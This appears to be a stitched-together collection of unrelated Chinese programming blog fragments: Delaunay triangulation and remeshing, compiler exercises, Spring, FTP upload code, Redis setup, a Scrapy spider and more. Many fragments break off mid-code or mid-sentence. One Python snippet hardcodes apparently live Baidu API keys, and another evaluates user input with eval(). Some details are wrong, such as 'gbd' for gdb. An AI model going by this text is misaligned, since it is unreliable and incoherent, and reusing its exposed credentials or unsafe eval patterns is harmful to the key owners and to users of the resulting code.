有时候,点云包含一些线段连接约束,如下图1所示。有些约束边并不满足Denaulay性质,所以,它并不能得到整体的Delaunay三角化结果(如下图2是点云的一个Delaunay三角化结果)。我们可以放开一些Delaunay性质约束,比如任意三角形的外接圆不含三角形以外的约束点。下图3是一个带约束的Denaulay三角化的结果。可以比较一下图2和图3的结果差异。
Delaunay网格优化
Delaunay优化,可以优化网格的连接关系,减少狭长三角形,保持网格顶点数目和位置不变。如下图所示,图2和图3是图1点云不同的三角化结果。图2经过一系列拓扑优化,如Delaunay边翻转操作,得到图3的高质量网格。
Delaunay优化只改变了网格顶点的连接关系,一般是局部的Delaunay边翻转。由于顶点保持不变,它可以极大可能的保持住原始网格的几何信息。缺点是,在顶点分布很差的情况下,优化的效果有限。
Voronoi图
给定一群平面(或曲面)的点,其Voronoi图,把平面(或者曲面)分隔成一块一块的区域,每个区域包含一个点,并且这块区域到所有点的最近点为其所包含的点。如图左所示。这些线也是相邻两点的垂直平分线。如果是曲面上的点,点之间的距离为曲面的测地距离。
Voronoi图和Delaunay三角化的图,互为对偶图。如图右所示。
重心Voronoi图
重心Voronoi图,是一种特殊的Vonoroi图,其每个区域的重心和其对应点重合。如右图所示,这就是一个重新Voronoi图。
重心Voronoi优化
重心Voronoi优化,可以减少狭长三角形。它和Delaunay优化的区别是,它不仅优化网格顶点的连接关系,还要优化顶点的位置。如下图1所示,虽然这是一个Delaunay三角化,但明显可以看出其网格质量很很差的,经过一系列几何优化(如重心Voronoi优化)后,顶点分布更加均匀,然后再做一个Delaunay三角化就得到了图2的结果。
重心Voronoi优化,虽然可以优化顶点分布,但其优化程度有限,在顶点分布极不均匀的情况下,效果还是不理想的。
网格质量
网格质量包含两方面的内容:拓扑质量和几何质量。
拓扑质量:如下图所示,图2和图3是图1点云不同的三角化结果。图2经过一系列拓扑优化,如Delaunay边翻转操作,得到图3的高质量网格。Geometry++有带约束的Delaunay优化功能。
几何质量:几何质量一般指顶点的坐标分布。如下图1所示,虽然这是一个Delaunay三角化,但明显可以看出其网格质量很很差的,经过一系列几何优化(如重心Vonoroi优化)后,顶点分布更加均匀,然后再做一个Delaunay三角化就得到了图2的结果。Geometry++有重心Vononoi优化功能。
重新网格化(Remesh)
Remesh并没有一个严格的定义,简单的讲,Remesh就是从一个输入网格生成另一个网格,并且满足一定的要求。常见的有三角网格到三角网格的Remesh,或者三角网格到四边网格的Remesh。这是一个典型的应用驱动的功能,不同的应用所需要的性质是有差别的,即使是同一个性质,有时候是硬约束,有时候是软约束。常见的一些性质有:
新网格是原网格的一个好的逼近
新网格复杂度(网格顶点或面片数量)
网格面片质量满足一定的要求:避免狭长和退化面片;顶点度数为6;顶点分布满足均匀分布或几何相关的各项异性分布;网格边长要求。
保持特征边
新网格要保持流形结构
通常情况下,这些性质很难同时满足,有些性质是矛盾的:
网格复杂度与逼近误差
网格顶点均匀分布与逼近误差
保持特征边与网格面片质量
Remesh的方法,大致可以分为局部和全局的:
局部方法:经过一系列的局部拓扑和几何操作的迭代,来Remesh整个网格。它的优点是计算速度比较快,容易实现;缺点是缺乏整体质量的把控,是一种启发式方法。
全局方法:一般指把网格分割成一片一片的,然后分片参数化子网格。参数化的过程中,保持住边界的连续性。也有一些全局参数化的方法,不要网格分割这一步。最后再把参数域的网格拓扑结构反映射回原网格。它的优点是网格的全局质量容易把控,缺点也显而易见,强烈的依赖参数化方法,稳定高质量的实现会比较困难。
转载 http://geometryhub.net/notes/delaunaytriangulation
4.7 节的练习 4.7.1 为练习 4.2.1 的文法 S -> S S + | S S * | a 构造
规范 LR 项集族LALR 项集族 4.7.2 对练习 4.2.2-1 ~ 4.4.2-7 的各个文法重复练习 4.7.1
! 4.7.3 对练习 4.7.1 的文法,使用算法 4.63,根据该文法的 LR(0) 项集的内核构造出它的 LALR 项集族
! 4.7.4 说明下面的文法
S -> A a | b A c | d c | b d a A -> d 是 LALR(1) 的,但不是 SLR(1) 的
! 4.7.5 说明下面的文法
S -> A a | b A c | B c | b B a A -> d B -> d 是 LR(1) 的,但不是 LALR(1) 的
问题:获取第三方接口中返回的body中的数据
定义一个controller,在其写如下方法(IOUtils的包为dubbo) @POST @At("/callback") @Ok("json") public Object get(HttpServletRequest request) { try { BufferedReader reader = new BufferedReader(new InputStreamReader(request.getInputStream())); String body = IOUtils.read(reader); System.out.println("返回json数据"); System.out.println(body); System.out.println("结束"); }catch (Exception e){ System.out.println("错误信息"); } return "ok"; } 使用postman进行测试
例如这里有个组6
先右键复制一个组
右键组6副本选择转为智能对象
再右键组6副本,选择编辑图像
在新的窗口里点击图像=》点击画布大小,修改宽高,为后面导出图片设置像素做准备
在新窗口里右键组6选择合并组,然后
点击文件选择转储为web所用格式
预设选择png-24,透明背景图片,下面图像大小设置宽高,点击存储就ok了,删除之前原窗口的临时分组。
今天创建了一个新项目,发现打包的jar很小,放到服务器上后,执行报错如下:no main manifest attribute
原来pom.xml中少了如下配置
<build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configuration> <executable>true</executable> </configuration> </plugin> </plugins> </build> 先将配置重新加入到pom.xml中
然后重新打包,放到服务器上,启动OK !!!
图像特征匹配:选取一些图像,检测它们的主要特征,并通过单应性(homography)来检测这些图像是否存在于另一个图像中。
常用的opencv特征检测和提取方法
Harris: 该算法用于检测角点
SIFT: 该算法用于检测斑点(blob)
SURF: 该算法用于检测斑点
FAST: 该算法用于检测角点
BRIEF: 该算法用于检测斑点
ORB: 该算法代表带方向的FAST算法与具有旋转不变形的BRIEF算法
通过以下方法进行特征匹配:
暴力(Brute-Force)匹配法,knnMatch
基于FLANN的匹配法
大多数特征检测算法都会涉及图像的角点、边、和斑点识别,也有脊向(ridge,细长物体的对称轴,比如识别图像中的一条路)特征。这些特征独特且易于识别。一般角点及密度高区域是好特征,大量重复模式或低密度区域(蓝色天空)不是好特征。边缘可以将图像分为两个区域,也是好特征。
该功能为通过前端上传文件,后端通过ftp将文件传至另一台配置好ftp的windows电脑上。(windows的ftp配置)部署服务的服务器和存文件的服务器不是一台,所以没有把文件存到工程目录下static里面。
前端上传代码如下:
<el-upload ref="upload" v-show="form.server" class="upload-file" drag :action="this.doUpload" :data="uploadData" :auto-upload="false"> <i class="el-icon-upload"></i> <div class="el-upload__text">将文件拖到此处,或<em>点击上传</em></div> </el-upload> <el-button type="primary" @click="submit()">提交</el-button> ``` 后端代码如下:
@source_blueprint.route('/upload_source_file', methods=['POST', 'GET']) def upload_source_file(): # 文件信息准备 files = request.files['file'] filename = os.path.splitext(files.filename)[0] postfix = os.path.splitext(files.filename)[1] hostname = 'xx.xx.xx.xxx' username = 'administrator' password = 'xxxxxxxxx' port = 21 reload(sys) sys.setdefaultencoding('utf-8') try: # 连接远程ftp创建文件并上传 ftp = FTP() ftp.connect(hostname, port) ftp.login(username, password) # 判断目录里面是否有该文件夹 if filename in ftp.nlst(): # 进入该目录 ftp.cwd(filename) # 如果存在,则在该文件夹存入,以时间唯一命名 unique_name = str(datetime.
linux 服务器, docker 容器, k8s 与外界交互文件,xftp 固然强大,但是毕竟是另一个兄弟软件,接下来介绍下lrzsz这个工具
安装方式:
apt-get update && apt-get install lrzsz
rz 导入文件
sz + filename 从服务器导出文件
先上代码,主要语句为np.where(b[c]==1), 详细解释如下:
import numpy as np b = np.array([[-2,-3,0,0,0,6,4,1],[88,1,0,0,0,6,4,2],[99,6,0,0,1,6,4,2]]) # 三行八列的数组b print('b\n',b) c = np.array([2,0]) # c表示指定行 print('b[c]\n',b[c]) # b[c]返回 数组b的指定行 这里依次返回了b的下标为2和0的行 print('\n') print(np.where(b[c]==1)) # 返回指定行的指定元素的位置索引 这里返回了b[c]每行中 值为1的位置索引 观察np.where()的返回值(array([0, 1], dtype=int64), array([4, 7], dtype=int64))可以发现,
对于数组b[c]来说,其中值为1的位置在[0,4]以及[1,7]上,np.where()返回了一个元组,[0]的位置表示行索引,[1]表示列索引。
综上,np.where(b[c]==1)实现的功能是,从b中按c中元素的顺序找到c所指定的行,然后再这些行中发现值为1的位置。
今天犯了一个愚蠢的错误,按这个页面操作来配置https://blog.csdn.net/chinawangfei/article/details/80722882(这里感谢mengmeng),其中
2.下载zmoden脚本 chomd u+x iterm2-send-zmodem.sh 写的是错的,应该是
chmod u+x iterm2-send-zmodem.sh 然后这边一直报错:
zsh: command not found: chomd
就以为是自己的chmod命令没有配置好。。。根据
https://blog.csdn.net/u010954988/article/details/80404329https://blog.csdn.net/jobsss/article/details/7548570https://www.jb51.net/LINUXjishu/32192.html 这里还做了一波配置环境变量。。。。对自己比较无语,不过也有一些收获,怕以上三个链接中的文字以后作者会删掉,所以复制过来:
如果新装的系统,运行一些很正常的诸如:shutdown,fdisk的命令时,悍然提示:bash:command not found。那么 首先就要考虑root 的$PATH里是否已经包含了这些环境变量。 主要是这四个:/bin ,/usr/bin,/sbin,/usr/sbin。 四个主要存放的东东: ./bin: bin为binary的简写主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。 /usr/bin: 主要放置一些应用软体工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 gzip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。 /sbin: 主要放置一些系统管理的必备程式例如:cfdisk、dhcpcd、dump、e2fsck、fdisk、halt、ifconfig、ifup、 ifdown、init、insmod、lilo、lsmod、mke2fs、modprobe、quotacheck、reboot、rmmod、 runlevel、shutdown等。 /usr/sbin: 放置一些网路管理的必备程式例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等。 可以在家目录下查看.bash_profile里的PATH。如果是:PATH=$PATH:$HOME/bin则需要添加成如下: PATH=$PATH:$HOME/bin:/sbin:/usr/bin:/usr/sbin
今天在虚拟机上安装了CentOS5.5,发现运行一些很正常的诸如:init,shutdown,fdisk 等命令时,悍然提示: bash: xx command not found。 那么,首先就要考虑root 的$PATH里是否已经包含了这些环境变量(可能是我安装的时候选择了“最小安装”,导致一些功能没开启)。 主要是这四个:/bin , /usr/bin, /sbin, /usr/sbin。
以后每次配置环境变量:
vim ~/.bash_profile source ~/.bash_profile #以防万一 source ~/.zshrc #打印出目前的环境变量 echo $PATH
目录 1、适配器模式:2、观察者模式: 1、适配器模式: 定义:将一个类的接口转换为客户希望的另一个类的接口,适配器模式使得原本由于接口不兼容的那些类可以一起工作;
简单说明:它主要是实现接口转换;是原本不兼容的事物能够协同工作,而无须修改现有事物的内部结构;
这个模式也很简单,笔记本上的那个拖在外面的黑盒子就是个适配器,一般你在中国能用,在日本也能用,虽然两个国家的的电源电压不同,中国是 220V,日本是 110V,但是这个适配器能够把这些不同的电压转换为你需要的 36V 电压,保证你的笔记本能够正常运行;
适配器模式又分为类适配器模式和对象适配器模式:
类适配器模式就是适配器类和适配者类是继承关系,而对象适配适配器模式就是适配器类和适配者类是关联关系;
模式结构图;
Target(目标抽象类):抽象类定义客户要用的特定领域的接口,可以是抽象类或接口或者是类;Adapter(适配器类):适配器类可以调用另一个接口,接口作为一个转换器,对适配者类和目标类进行适配;Adaptee(适配者类):适配者即被适配的角色,它定义了一个已经存在的接口,这个接口需要适配,适配者类一般是一个具体类,包含了客户希望使用的业务方法,在某些情况下甚至没有适配者类的源代码;Client(客户类):在客户类中针对目标抽象类进行编程,调用在目标抽象类中定义的业务方法; 类适配器模式结构:
对象适配器模式结构图:
类适配器模式和对象适配器的区别就在于适配器类和适配者类之间的关系是继承(类适配器模式)还是依赖(对象适配器模式);
比如现在有一个抽象类,它里面有绘制点、线、方块的方法,而为了让客户在使用这些接口的时候不用关心它们底层调用的不同,我们还使用了一个抽象类来规范这些图形的接口,现在我们需要绘制一个圆,并且发现已有一个类里面有绘制圆的方法,但是这个方法名和我们抽象类规定的方法名称不符,这个时候如果去修改绘制圆的方法名,那就要修改所有引用该方法的地方,修改抽象方法名,那也要修改所有的实现类,都很麻烦,要解决这样的麻烦,就要用我们的适配器模式了:
/** * @ClassName Shape * @Description 形状类 * @Date 2019/3/17 11:21 * @Version 1.0 **/ public abstract class Shape { /** * 绘制点的方法 */ public void draw_dot() { System.out.println("绘制点"); } /** * 绘制线的方法 */ public void draw_wire() { System.out.println("绘制线"); } /** * 绘制方块的方法 */ public void draw_block() { System.out.println("绘制方块"); } /** * 绘制圆的方法 */ public abstract void draw_circle(); } /** * @ClassName Circle * @Description 与圆相关的类,里面有绘制圆的方法 * @Author lzq * @Date 2019/3/17 11:23 * @Version 1.
Class继承 Class 可以通过 extends 关键字实现继承,这比 ES5 的通过修改原型链实现继承,要清晰和方便很多
class Animate { constructor() { // 默认返回实例对象 this } } class Dog extends Animate { constructor() { super() } } 子类必须在 constructor 方法中调用super方法,否则新建实例时会报错,子类就得不到 this 对象。这是因为子类自己的 this 对象,必须先通过父类的构造函数完成塑造,得到与父类同样的实例属性和方法,然后再对其进行加工。如果不调用 super 方法,子类就得不到this对象。
ES5 的继承,实质是先创造子类的实例对象 this,然后再将父类的方法添加到 this 上面(Parent.apply(this))。ES6 的继承机制完全不同,实质是先将父类实例对象的属性和方法,加到 this上面(所以必须先调用super方法),然后再用子类的构造函数修改 this。
1. this 关键字的使用
在子类的构造函数中,只有调用 super 之后,才可以使用 this 关键字,否则会报错。这是因为子类实例的构建,基于父类实例,只有 super 方法才能调用父类实例。
class Animate { constructor(x, y) { // 默认返回实例对象 this } } class Dog extends Animate { constructor(x, y, z) { this.
#region IsDateTimeType 私有方法判断导入数据是否是日期格式 /// <summary> /// 私有方法判断导入数据是否是日期格式 /// </summary> /// <param name="cell"></param> /// <returns></returns> private bool IsDateTimeType(ICell cell) { if (IsDate(cell) == null) { if (cell.CellType == CellType.NUMERIC && DateUtil.IsCellDateFormatted(cell)) { return true; } else { try { DateTime.Parse(cell.ToString()); return true; } catch { return false; } } } else { return true; } } /// <summary> /// 日期格式判断 /// </summary> /// <param name="cell">表格列值</param> /// <returns></returns> public DateTime? IsDate(ICell cell) { DateTime?
1.简陋版web智能玩具
FAQ.py文件
import os from aip import AipSpeech, AipNlp from uuid import uuid4 """ 你的 APPID AK SK """ APP_ID = '16027160' API_KEY = 'uzx4SWZuimPqbE4LvxYScEhi' SECRET_KEY = '3HBy8yi11ID9T4yyxkADuGYOGyavxPdG' client = AipSpeech(APP_ID, API_KEY, SECRET_KEY) client_nlp = AipNlp(APP_ID, API_KEY, SECRET_KEY) # 语音识别,将你输入的文字转化为语音 def AI_voice(file): filename=f'{uuid4()}.mp3' result = client.synthesis(file, 'zh', 1, { 'spd': 5, 'vol': 5, 'pit': 5, 'per': 2 }) if not isinstance(result, dict): with open(filename, 'wb') as f: f.write(result) return filename # 语音合成,通过语音生成文字,在这里只是读出文字,并没有写出来,下面这一步才是将语音中的文字return出来 def get_file_content(file): os.
1001:卡拉兹(Callatz)猜想:(Java解答) 对任何一个正整数 n,如果它是偶数,那么把它砍掉一半;如果它是奇数,那么把 (3n+1) 砍掉一半。这样一直反复砍下去,最后一定在某一步得到 n=1。卡拉兹在 1950 年的世界数学家大会上公布了这个猜想,传说当时耶鲁大学师生齐动员,拼命想证明这个貌似很傻很天真的命题,结果闹得学生们无心学业,一心只证 (3n+1),以至于有人说这是一个阴谋,卡拉兹是在蓄意延缓美国数学界教学与科研的进展……
我们今天的题目不是证明卡拉兹猜想,而是对给定的任一不超过 1000 的正整数 n,简单地数一下,需要多少步(砍几下)才能得到 n=1?
/*import java.util.Scanner; public class Main { public static void main(String[] args){ Scanner sc = new Scanner(System.in); int count = 0; //用于计数,随后要进行输出 int num = sc.nextInt(); while(num!=1) { if(num %2 == 0) { num = num/2; }else { num = (num*3+1)/2; } count++; } System.out.println(count); } }*/ 1002 写出这个数 (20 分)(Python) num =input(); #接收一个数字,但是类型为str #print("你输入的数字为:",num); #是为了测试用,查看输出的数字为什么 #print("
turtle.penup() 别名 turtle.pu() :抬起画笔海龟在飞行
turtle.pendown() 别名 turtle.pd():画笔落下,海龟在爬行
turtle.pensize(width) 别名 turtle.width(width) :设置画笔的宽度,海龟的腰围
turtle.pencolor(color) color为颜色字符串或r,g,b值 :
颜色字符串:turtle.pencolor("red") RGB的小数值:turtle.pencolor(0.63,0.13,0.94)
RGB的元组值:turtle.pencolor((0.63,0.13,0.94))
运动控制函数:
turtle.forward(d) 别名: turtle.fd(d)
向前直行,海龟走直线 d:行进距离可以为负数
turtle.circle(r,extent=None)
根据半径 r 绘制 extent角度的弧形
r:默认圆心在海龟左侧r距离的位置
extent:绘制角度,默认是360度整圆
turtle.seth(angle)
控制海龟的的方向
1.GPU硬件相关:
使用卡的型号:
总结一下英伟达显卡的型号,N卡自发展至今经历了这几个架构:
第一代G80:tesla架构
第二代:费米架构
第三代:开普勒架构
第四代:麦克斯韦架构
第五代:帕斯卡架构
其中我们所用到的设是1050ti、1080ti、和TITAN X。
其中1050ti的结构是6核(sm),每个sm中有128个计算单元(sp),共768个sp。
其中1080ti的结构是6个GPC,按照原GP102-350核心模板,应该是每个核5个SM,共30个SM,但对于1080ti消减了2个sm,共28个sm,每个sm中有128个计算单元(sp),共28*128=3584个sp。
TiTan X是30个SM,每个sm128个sp,共3840个sp。
思考:sp为什么不是“核”、"线程“?
答:sp事实上是最基本的逻辑运算单元,它完成的工作使它更像是一个加法器。
sm是逻辑处理的最小硬件结构,其中包含了逻辑控制单元、高速访存、和sp。一个sm,处理完一个block中的所有线程才会处理下一个block中的数据,因此我们进行划分时,最好保证每个block里的warp比较合理(分多个warp,threads个数是32的整倍数),那样可以一个sm可以交替执行里面的warp,从而提高效率。
此外,在分配block时,要根据GPU的sm个数,分配出合理的block数,让GPU的sm都利用起来,提利用率。分配时,也要考虑到同一个线程block的资源问题,不要出现对应的资源不够。
——进阶:一个sm内部通过warp分发器对来的命令(以warp为单位)分发到不同port(端口)上,一个port内部有16个sp,对于warp内的32个thread,需要for循环两次。
时间线概念,一个port的sp在一个时间片上完成一次逻辑运算,然后等待一定逻辑时钟周期得到本次运算的回馈值,才能做下一条运算,在等待的这段时间,该port的计算资源闲置了。为了避免它的闲置,硬件通过warp分发器将其他warp的指令分发到这个port上 。这是为什么一个block最好安排排出来多个warp(N*32threads)。
——二次进阶: 事实上,即使对于一个block中只有一个warp的情况,我们认为对于算法内部逻辑依赖较少的代码,编译器会自动识别哪些语句不存在相关性,warp在执行完这一条命令之后可以去获取其他命令,通过warp分发器再分发到prot上,而不一定在时间线上等待逻辑运算的返回值,从而复用计算资源。
其他人的一些面经 求职之路(2015南京站拿到百度、美团、趋势科技、华为offer): https://blog.csdn.net/chhuach2005/article/details/39759165
面经中的各种问题汇总 语言基础,操作系统,计算机网络,数据库,设计模式,算法
https://www.cnblogs.com/forcheryl/p/4723797.html
编译app
gcc func.c main.c -o app -I ./ -g
启动app
gbd app
在gdb中启动程序
run
debug模式
start
停留在main函数,分布调试
n(ext)下一条指令
s(tep)下一条指令,可以进入函数内部,库函数不能进入
q(uit) 退出gdb
设置参数
set
查看代码
list
设置断点
b(reak)
b 10 b main:10 b fun 查看断点
info b
d(elete) 4
c(continue)跳到下一个断点
p(rint) argc查看变量
ptype i 查看变量类型
爬虫着实是数据采集中的神器,借助于爬虫的合理设计与实现我们能够很方便地从网络环境中采集到所需要的数据,之后借助于相应的数据解析组件可以快速地抽取得到所需要的数据项。
今天有一个数据获取需求,之前采集的天气、气象等数据源大都是实时性质的,没有提供出来历史数据。这里需要做的就是对历史数据做一个爬取,我们选用的网站在这里,网页截图如下:
第一眼看到的时候就给人一种,丑到爆炸的感觉有没有,但是呢,我们是要获取网站中的数据的,又不是做网站效果美化的,自然,页面的UI跟我们今天的任务就没有多大的关系了哈。
闲话就说到这里,接下来进入正题,开始网站历史数据的获取。这个网站里面不仅仅有历史的数据,还有最新的数据,因为网站里面的数据是持续更细的。
我们以“山东省”为例,先看一下页面的样子:
接下来以“郓城”为例,看一下最近一个月以来的天气状况,最近一个月份的天气数据显示是以当日为基准倒退一个月计算得到的,具体如下图所示:
最近一个月数据查询链接为:
http://www.tianqihoubao.com/weather/top/yuncheng.html 从上面的链接中我们可以初步推断出来每个地方最近一个月天气数据查询链接的构建方式为:
http://www.tianqihoubao.com/weather/top/+城市编码+.html 这样一来我们就可以基于程序来实现自动化的构建生成每个地方的URL了。
同样,网站中提供了历史天气数据的链接,同样这里以“郓城”为例进行查看,如下:
历史天气数据自造可以追溯到2011年1月份,每个月份的数据都是按照月份内日期的数据进行排列显示的。历史天气数据查询的链接为:
http://www.tianqihoubao.com/lishi/yuncheng/month/201101.html 同样,我们对上述页面的链接进行查看分析,初步推断出,每个地方历史天气数据查询链接的构造方式为:
http://www.tianqihoubao.com/lishi/+城市编码+/month/+年份+月份+.html 其中: 年份:2011-2019 月份:01/02/03/04/05/06/07/08/09/10/11/12 这样,我们就挖掘得到了每个城市历史天气数据页面的URL的构造方式了,一个具体的URL就是一个爬虫具体的入口,想要实现爬虫自动化的采集数据,实现自动的URL构建是必不可少的。
理清楚了思路后,设计实现就很就很简单了,这里也不再多说了,仅以浙江省普陀为例查看一下爬取下来的数据,具体如下:
如果注意观察的话,就会发现,这里保存到本地的数据跟原始页面里面展示的数据还是有区别的,区别在于:多了最后两列,这个是为通过构建字典映射的方式,将网站中每条数据的后面都加入了城市信息和省份信息,目的就是为了后面存储到数据库中提供方便。
好了,今天的记录就到此结束了,欢迎交流。
一、报错的代码:
问题出现在这句代码:<if test="deptId != null and deptId != '' ">and cq.dept_id = #{deptId}</if> 二、原因分析
Mybatis默认采用ONGL解析参数,所以会自动采用对象树的形式取string.num值,引起报错。也可以public List methodName(@Param(value="num") String num)的方法说明参数值
三、解决方案
方法1.List<WffhSqjlDcl> getWffhSqjlYcq(@Param("deptId") String deptId)
通过这种方法指定参数名
方法2.把#{xxx}修改为 #{_parameter} 即可
一、安装开发工具
winxp、win7、win2003、win2008
安装 notepa++
win7、win8、win10、win2008 R2、win2016
安装 VS2015+WDK10
二、安装WDK
https://developer.microsoft.com/en-us/windows/hardware/windows-driver-kit winxp、win7、win2003、win2008
下载 WDK 7.1
win7、win8、win10、win2008 R2、win2016
下载 WDK 10
有一个需求让我们规定算法,然后传入参数自动得出结果,我开始找能把字符串转化为算式的工具,然后让我发现了一个神奇的东西
import javax.script.Bindings; import javax.script.Compilable; import javax.script.CompiledScript; import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class ScriptEngineUtils { private static Logger logger = LoggerFactory.getLogger(ScriptEngineUtils.class); private static ScriptEngine engine; private static Compilable compilable; static { engine = new ScriptEngineManager().getEngineByName("javascript"); compilable = (Compilable) engine; } public static String executeScript(String script, Map<String, Object> map) { Bindings bindings = engine.createBindings(); CompiledScript JSFunction = null; //解析编译脚本函数 try { JSFunction = compilable.compile(script); bindings.
安装简介:
下载地址http://redis.io/download解压安装包到指定目录tar -zxvf redis-4.0.9.tar.gz -C /usr/local/安装gcc依赖,执行gcc -v查看是否有安装gcc,如果没有安装,执行命令sudo yum install -y gcc编译安装,cd到redis的解压目录下,执行 cd /usr/local/redis-4.0.9/ 此处目录根据下载的redis版本及解压路径调整; 编译执行:make
进入目录:cd src
安装到指定目录:make install PREFIX=/usr/local/redis-4.0
创建目录,并将redis.conf配置文件拷贝到指定目录:
mkdir -p /usr/local/redis-4.0/etc
cp redis.conf /usr/local/redis-4.0/etc/
5、测试是否安装成功
cd /usr/local/redis-4.0.9/src/
./redis-server /usr/local/redis-4.0/etc/redis.conf(注意要使用后台启动,所以修改redis.conf里的 daemonize 改为yes)
ps -ef | grep redis 查看是否有redis服务 或者 查看端口:netstat -tunpl | grep 6379
第一步:下载redis安装包:
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
想下载哪个版本可以复制上面链接删除redis-*部分内容,可以查看到所有redis版本的安装包
第二步:解压安装包
tar -zxvf redis-4.0.9.tar.gz -C /usr/local/
将压缩包解压到指定目录
第三步:安装gcc依赖
先通过gcc -v是否有安装gcc,如果没有安装,执行命令
sudo yum install -y gcc
第四步:编译安装
cd到redis的解压目录下,执行 cd /usr/local/redis-4.0.9/ 此处目录根据下载的redis版本及解压路径调整,
Scrapy爬取京东图书信息 最近在学习scrapy,闲来无事,找了个比较容易的网站进行了联系网址,京东图书主要抓取内容为 “黑色粗体大分类下的小分类对应的每个小分类的详情页列表中的图书信息内容” 主要代码 spider # -*- coding: utf-8 -*- import scrapy from copy import deepcopy import json class BookSpider(scrapy.Spider): name = 'book' allowed_domains = ['jd.com', "p.3.cn"] start_urls = ['https://book.jd.com/booksort.html'] def parse(self, response): dt_list = response.xpath('//div[@class="mc"]/dl/dt') dd_list = response.xpath('//div[@class="mc"]/dl/dd') for i in range(0, len(dt_list)): item = {} item['first_title'] = dt_list[i].xpath('./a/text()').extract_first() em_list = dd_list[i].xpath('./em') for em in em_list: item['second_title'] = em.xpath('./a/text()').extract_first() item['second_url'] = em.xpath('./a/@href').extract_first() item['second_url'] = self.handle_second_url(item['second_url']) if item['second_url']: yield scrapy.
1.NPM(node packaged modules) :javascript库的代码库管理系统
在安装Node.js的过程中,NPM也作为其中一部分被安装了(http://nodejs.cn/download/)
2. Node.js HTTP服务器
安装http-server模块
在cmd中输入(注意环境变量配置)
> npm install http-server -g
命令中-g参数会把http-server模块设置为全局的,这样就可以直接在命令行里直接使用http-server命令。完成此步后,可以通过下面的命令,在任意文件夹内启动一个服务器。
> http-server .
该命令可以启动一个Node.js驱动的HTTP服务器,默认端口号是8080,也可以使用-p 参指定一个端口号
ApplicationContext的三种常见的实现类:
ClassPathXmlApplicationContext: 加载类路径下的配置文件FileSystemXmlApplicationContext: 加载磁盘路径下的配置文件AnnotationConfigApplicationContext: 用于读取注解创建的容器 核心容器接口引发的问题:
ApplicationContext: 它在构建核心容器时,创建对象采用的策略是立即加载的方式. 也就是说,只要一读取完配置文件就马上创建配置文件中配置巍峨对象.创建产生单例对象 BeanFactory: 在构建容器对象时,采用的策略是延迟加载的方式. 也就是说,什么时候根据id获取对象,什么时候才创建对象.创建产生多例对象 创建Bean的三种方式: 使用构造器创建 <bean id ="accountService" class="com.tcl.service.impl.AccountServiceImpl"/> 使用普通工厂方法创建对象 <bean id ="instanceFactory" class="com.tcl.factory.InstanceFactory"/> <bean id="accountService" factory-bean="instanceFactory" factory-method="getAccountService"/> 使用工厂方法中的静态方法创建对象(使用静态方法创建对象,并存入spring容器中) <bean id="accountService" class="com.tcl.factory.StaticFactory" factory-method="getAccountService"/> bean的作用范围: singleton: 单例, 默认值prototype: 多例request: 作用于web请求范围session: 作用于web会话范围global-session: 作用于集群环境的会话范围 bean的生命周期
单例对象: 出生: 随着容器的创建而产生活着: 只要容器存在, 则对象就一直存活死亡: 容器销毁, 则对象也消亡总结: 同容器的生命周期相同 多例对象:
出生: 当使用对象时,容器才创建bean实例对象活着: 对象在使用过程中一直存活死亡: 当对象长时间不被使用时, 会被JVM回收 依赖注入的三种方式 构造器创建
优点: 在获取bean时, 注入数据是实例化的必须操作,否则无法创建对象
弊端: 在创建对象时, 如果用不到这些数据, 也得提供set方法注入依赖
优点: 创建对象时没有限制, 可以直接使用默认的构造函数
弊端:注解注入依赖 spring整合junit spring-test依赖: <dependency> <groupId>org.
# @Author : 望天宇八方清似玉 # @CreateTime: 2019/4/22 17:50 # @File : Temp.py # @Software : PyCharm TempStr = input("请输入带有符号的温度值: ") if TempStr[-1] in ['F', 'f']: C =(eval(TempStr[0:-1])-32)/1.8 print("转换后的温度是:{:.2f}C".format(C)) elif TempStr[-1] in ['C', 'c']: F = 1.8*eval(TempStr[0:-1])+32 print("转换后的温度是:{:.2f}F".format(F)) else:print("你输入的格式有误") 如果不能运行:
1.切换到python3版本
2.头部指定编码方式
以前遇到去重的地方更多的是MySQL去重后统计,比如select count(distinct 字段) from 表,后来临时遇到用Postgresql查询全部信息,但要对某个字段去重,查资料发现select * from table group by 要去重的字段,在MySQL上可以用,就搬到Postgresql试一下发现不行,又Google一番,终于找到一种方案:select distinct on(字段) * from 表,就可以了。如下图:
对name字段去重后再查询全部字段:
递归说白了就是程序调用自身。
与递推思想相比,递归就是递推的反向过程。
递归的分析思路可以总结为4步:
1、寻找递推关系
2、寻找临界条件
3、总结递归表达式
4、改写成递归函数
举个最简单的栗子:
求整数1到100的和。
分析:
1、关系:
很明显,第n项是前1个数字加1,f(n)=f(n-1)+1、前n项和sum(n)=sum(n-1)+n;
2、临界:
很明显,当n等于1时,sum值为1;
3、表达式:
s u m ( n ) = { 1 , n = 1 s u m ( n − 1 ) + n , n > 1 sum(n)= \left \{\begin{array}{cc} 1, & n=1\\ sum(n-1)+n, & n>1 \end{array}\right. sum(n)={1,sum(n−1)+n,n=1n>1
4、函数:
// 求第n项 function fn(n){ if(n==1) return 1; return fn(n-1)+1; } // 求前n项和 function sum(n){ if(n==1) return 1; return sum(n-1)+n; // return sum(n-1)+fn(n);// 也可以调用fn() } sum(100); 完事!
Python代码的方法和类都是可以折叠的,然而实际编写代码时,好多时候折叠不了,甚是头疼。
楼主研究了一下,归纳了以下问题点及解决方法。
1. 代码能否折叠,以及可以折叠到一起的区域,点击编辑区左侧的折叠线就知道了
2. 然而,好多时候这条高亮的折叠线不是完整的,断断续续。究其原因,还是代码书写不规范。
比如,在不该出现折叠键的地方出现了折叠键,打乱了可折叠区域。
出现这种问题是原因是:输入完class House: 后换行时,在87行停顿了一下或者从86行换行到88行过程中太慢了,换行速度快一点即可解决。
3. 然而,可能会出现,将光标移到class House 前面,依然不能完整折叠的问题
